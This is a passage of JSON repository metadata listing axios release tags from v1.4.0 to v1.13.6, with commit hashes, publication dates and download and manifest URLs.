os/tags/v1.13.6/manifests"},{"name":"v0.30.3","sha":"f53bcf6c3747652c9d3811dc0bbcd3674e21567a","kind":"commit","published_at":"2026-02-18T17:15:14.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.30.3","html_url":"https://github.com/axios/axios/releases/tag/v0.30.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.30.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.3/manifests"},{"name":"v1.13.5","sha":"29f75425f0c9f73021f5eedc869c176e30e05fe7","kind":"commit","published_at":"2026-02-08T10:53:34.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.5","html_url":"https://github.com/axios/axios/releases/tag/v1.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.5/manifests"},{"name":"v1.13.4","sha":"9336cf9a3393790ec8ca91fe3862e83fcdbe6b9d","kind":"commit","published_at":"2026-01-27T18:13:03.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.4","html_url":"https://github.com/axios/axios/releases/tag/v1.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.4/manifests"},{"name":"v1.13.3","sha":"ab06109b40e129e43096f9c75aaa21bc74ef9fc8","kind":"tag","published_at":"2026-01-20T17:48:38.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.3","html_url":"https://github.com/axios/axios/releases/tag/v1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.3/manifests"},{"name":"v1.13.2","sha":"08b84b52d5835d0c7b81049c365c3d271ade8bff","kind":"tag","published_at":"2025-11-04T20:01:12.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.2","html_url":"https://github.com/axios/axios/releases/tag/v1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.2/manifests"},{"name":"v1.13.1","sha":"1ef8e7218b085ac28b675b07349c6d7906a7b6ac","kind":"tag","published_at":"2025-10-28T18:55:25.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.1","html_url":"https://github.com/axios/axios/releases/tag/v1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.1/manifests"},{"name":"v1.13.0","sha":"9ead04d8abbcd53718dbc31b1250ea74300921c8","kind":"tag","published_at":"2025-10-27T16:08:08.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.0","html_url":"https://github.com/axios/axios/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.0/manifests"},{"name":"v0.30.2","sha":"2fcb4ec5a11710ac26f9f89cb7d46dd51a1cf013","kind":"commit","published_at":"2025-09-27T10:23:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.30.2","html_url":"https://github.com/axios/axios/releases/tag/v0.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.2/manifests"},{"name":"v1.12.2","sha":"e5a33366d75b65f88052b230b103731eb7dcb793","kind":"tag","published_at":"2025-09-14T12:59:21.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.12.2","html_url":"https://github.com/axios/axios/releases/tag/v1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.2/manifests"},{"name":"v1.12.1","sha":"3cac78c2de2d1d1af0c1b4753feff16c075f01d1","kind":"tag","published_at":"2025-09-12T14:19:27.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.12.1","html_url":"https://github.com/axios/axios/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"0d8ad6e1de0f5339e02bc262d6f0df4936974120","kind":"tag","published_at":"2025-09-11T19:33:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.12.0","html_url":"https://github.com/axios/axios/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.12.0/manifests"},{"name":"v0.30.1","sha":"b17c4dea1b95a873667e1c950e4749894a44682c","kind":"commit","published_at":"2025-08-04T18:15:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.30.1","html_url":"https://github.com/axios/axios/releases/tag/v0.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.1/manifests"},{"name":"v1.11.0","sha":"b76c4ac6f871141dd011a21f3b7ca4e66bfc33ae","kind":"tag","published_at":"2025-07-23T06:05:10.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.11.0","html_url":"https://github.com/axios/axios/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"73a836dae75f06055c24561d83cf4ca1c43e2854","kind":"tag","published_at":"2025-06-14T12:11:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.10.0","html_url":"https://github.com/axios/axios/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"cdcfd214c169a1acba8e267ab8e77ff4dfec3105","kind":"tag","published_at":"2025-04-24T20:18:53.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.9.0","html_url":"https://github.com/axios/axios/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.9.0/manifests"},{"name":"v0.30.0","sha":"6e922e497616d8908616a9da0380f81d0244ef4b","kind":"commit","published_at":"2025-03-26T17:50:22.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.30.0","html_url":"https://github.com/axios/axios/releases/tag/v0.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.30.0/manifests"},{"name":"v1.8.4","sha":"9f6f97bcfb7c510103dfcb05641ae8e8f5c08bcc","kind":"tag","published_at":"2025-03-19T19:27:41.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.4","html_url":"https://github.com/axios/axios/releases/tag/v1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.4/manifests"},{"name":"v1.8.3","sha":"39ec206483a89921732bdc8a5be67e350bfc23f0","kind":"tag","published_at":"2025-03-12T07:23:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.3","html_url":"https://github.com/axios/axios/releases/tag/v1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.3/manifests"},{"name":"v1.8.2","sha":"a9f7689b0c4b6d68c7f587c3aa376860da509d94","kind":"tag","published_at":"2025-03-07T07:41:05.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.2","html_url":"https://github.com/axios/axios/releases/tag/v1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.2/manifests"},{"name":"v1.8.1","sha":"2e64afdff5c41e38284a6fb8312f2745072513a1","kind":"tag","published_at":"2025-02-26T09:06:54.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.1","html_url":"https://github.com/axios/axios/releases/tag/v1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.1/manifests"},{"name":"v1.8.0","sha":"cceb7b1e154fbf294135c93d3f91921643bbe49f","kind":"tag","published_at":"2025-02-26T06:01:08.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.8.0","html_url":"https://github.com/axios/axios/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.8.0/manifests"},{"name":"v1.7.9","sha":"b2cb45d5a533a5465c99559b16987e4d5fc08cbc","kind":"tag","published_at":"2024-12-04T07:38:10.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.9","html_url":"https://github.com/axios/axios/releases/tag/v1.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.9/manifests"},{"name":"v1.7.8","sha":"415ca9440195586dcd2149aa6f1e99f0ff6957c2","kind":"tag","published_at":"2024-11-25T21:13:52.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.8","html_url":"https://github.com/axios/axios/releases/tag/v1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.8/manifests"},{"name":"v0.29.0","sha":"7750b8c30b43a28737b496588e818d1f4e7b6abc","kind":"commit","published_at":"2024-11-21T12:23:17.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.29.0","html_url":"https://github.com/axios/axios/releases/tag/v0.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.29.0/manifests"},{"name":"v1.7.7","sha":"5b8a826771b77ab30081d033fdba9ef3b90e439a","kind":"tag","published_at":"2024-08-31T22:02:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.7","html_url":"https://github.com/axios/axios/releases/tag/v1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.7/manifests"},{"name":"v1.7.6","sha":"d584fcfa62ba5217baf2be0748b7c5eda6da16ad","kind":"tag","published_at":"2024-08-30T19:56:43.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.6","html_url":"https://github.com/axios/axios/releases/tag/v1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.6/manifests"},{"name":"v1.7.5","sha":"59cd6b0dece4050b190717a7c5cdf77906ce2104","kind":"tag","published_at":"2024-08-23T13:32:31.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.5","html_url":"https://github.com/axios/axios/releases/tag/v1.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.5/manifests"},{"name":"v1.7.4","sha":"abd24a7367726616e60dfc04cb394b4be37cf597","kind":"tag","published_at":"2024-08-13T19:33:04.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.4","html_url":"https://github.com/axios/axios/releases/tag/v1.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.4/manifests"},{"name":"v1.7.3","sha":"c6cce43cd94489f655f4488c5a50ecaf781c94f2","kind":"tag","published_at":"2024-08-01T16:16:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.3","html_url":"https://github.com/axios/axios/releases/tag/v1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.3/manifests"},{"name":"v1.7.2","sha":"0e4f9fa29077ebee4499facea6be1492b42e8a26","kind":"tag","published_at":"2024-05-21T16:57:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.2","html_url":"https://github.com/axios/axios/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"67d1373131962d1f1f5b8d91f9a2f80ed3923bc8","kind":"tag","published_at":"2024-05-20T13:32:46.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.1","html_url":"https://github.com/axios/axios/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"3041c61adaaac6d2c43eba28c134e7f4d43ab012","kind":"tag","published_at":"2024-05-19T20:24:57.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.0","html_url":"https://github.com/axios/axios/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0/manifests"},{"name":"v1.7.0-beta.2","sha":"b49aa8e3d837c36e4728a9fa8a5e23a1162e96ec","kind":"tag","published_at":"2024-05-19T18:01:17.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.0-beta.2","html_url":"https://github.com/axios/axios/releases/tag/v1.7.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.2/manifests"},{"name":"v1.7.0-beta.1","sha":"b9f4848f8c4c7d53dbe1a1ee06e9b3604c2e56ac","kind":"tag","published_at":"2024-05-07T18:37:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.0-beta.1","html_url":"https://github.com/axios/axios/releases/tag/v1.7.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.1/manifests"},{"name":"v1.7.0-beta.0","sha":"8e4314bfd68773ef405a4c081cf30c3bce5447ee","kind":"tag","published_at":"2024-04-28T19:50:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.7.0-beta.0","html_url":"https://github.com/axios/axios/releases/tag/v1.7.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.7.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.7.0-beta.0/manifests"},{"name":"v0.28.1","sha":"3021e0ddbdeb5cd40e9e296851a8bd8ff45116d3","kind":"tag","published_at":"2024-03-28T17:36:06.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.28.1","html_url":"https://github.com/axios/axios/releases/tag/v0.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.28.1/manifests"},{"name":"v1.6.8","sha":"ab3f0f9a94853c821cb00f1112788ecdd3ae7ed1","kind":"tag","published_at":"2024-03-15T16:32:41.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.8","html_url":"https://github.com/axios/axios/releases/tag/v1.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.8/manifests"},{"name":"v0.28.0","sha":"3b7635aefc842c05da0ec8c90e8bd09cb54616b8","kind":"tag","published_at":"2024-02-12T18:38:19.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.28.0","html_url":"https://github.com/axios/axios/releases/tag/v0.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.28.0/manifests"},{"name":"v1.6.7","sha":"a52e4d9af51205959ef924f87bcf90c605e08a1e","kind":"tag","published_at":"2024-01-25T19:58:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.7","html_url":"https://github.com/axios/axios/releases/tag/v1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.7/manifests"},{"name":"v1.6.6","sha":"104aa3f65dc30d70273798dff413fb44edd1c9e6","kind":"tag","published_at":"2024-01-24T23:12:14.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.6","html_url":"https://github.com/axios/axios/releases/tag/v1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.6/manifests"},{"name":"v1.6.5","sha":"6d4c421ee157d93b47f3f9082a7044b1da221461","kind":"tag","published_at":"2024-01-05T19:52:08.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.5","html_url":"https://github.com/axios/axios/releases/tag/v1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.5/manifests"},{"name":"v1.6.4","sha":"8790b8e7847c7f450544e7195c837ffc10fcb160","kind":"tag","published_at":"2024-01-03T22:10:49.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.4","html_url":"https://github.com/axios/axios/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.4/manifests"},{"name":"v1.6.3","sha":"b15b918d179900e7d47a08f4e96efc89e16d8a7b","kind":"tag","published_at":"2023-12-26T23:16:12.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.3","html_url":"https://github.com/axios/axios/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.3/manifests"},{"name":"v1.6.2","sha":"b3be36585884ba1e237fdd0eacf55f678aefc396","kind":"tag","published_at":"2023-11-14T20:36:03.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.2","html_url":"https://github.com/axios/axios/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"f6d2cf9763bfa124f15c2dc6a5d5d5d9d3e26169","kind":"tag","published_at":"2023-11-08T15:09:20.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.1","html_url":"https://github.com/axios/axios/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"f7adacdbaa569281253c8cfc623ad3f4dc909c60","kind":"tag","published_at":"2023-10-26T21:15:49.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.6.0","html_url":"https://github.com/axios/axios/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.6.0/manifests"},{"name":"v1.5.1","sha":"88fb52b5fad7aabab0532e7ad086c5f1b0178905","kind":"tag","published_at":"2023-09-26T18:22:06.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.5.1","html_url":"https://github.com/axios/axios/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"6365751ba6725cc283f7364b9ee6ca9917e9737c","kind":"tag","published_at":"2023-08-26T19:10:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.5.0","html_url":"https://github.com/axios/axios/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"21a5ad34c4a5956d81d338059ac0dd34a19ed094","kind":"tag","published_at":"2023-04-27T23:05:47.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.4.0","html_url":"https://github.com/axios/axios/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.4.0","mani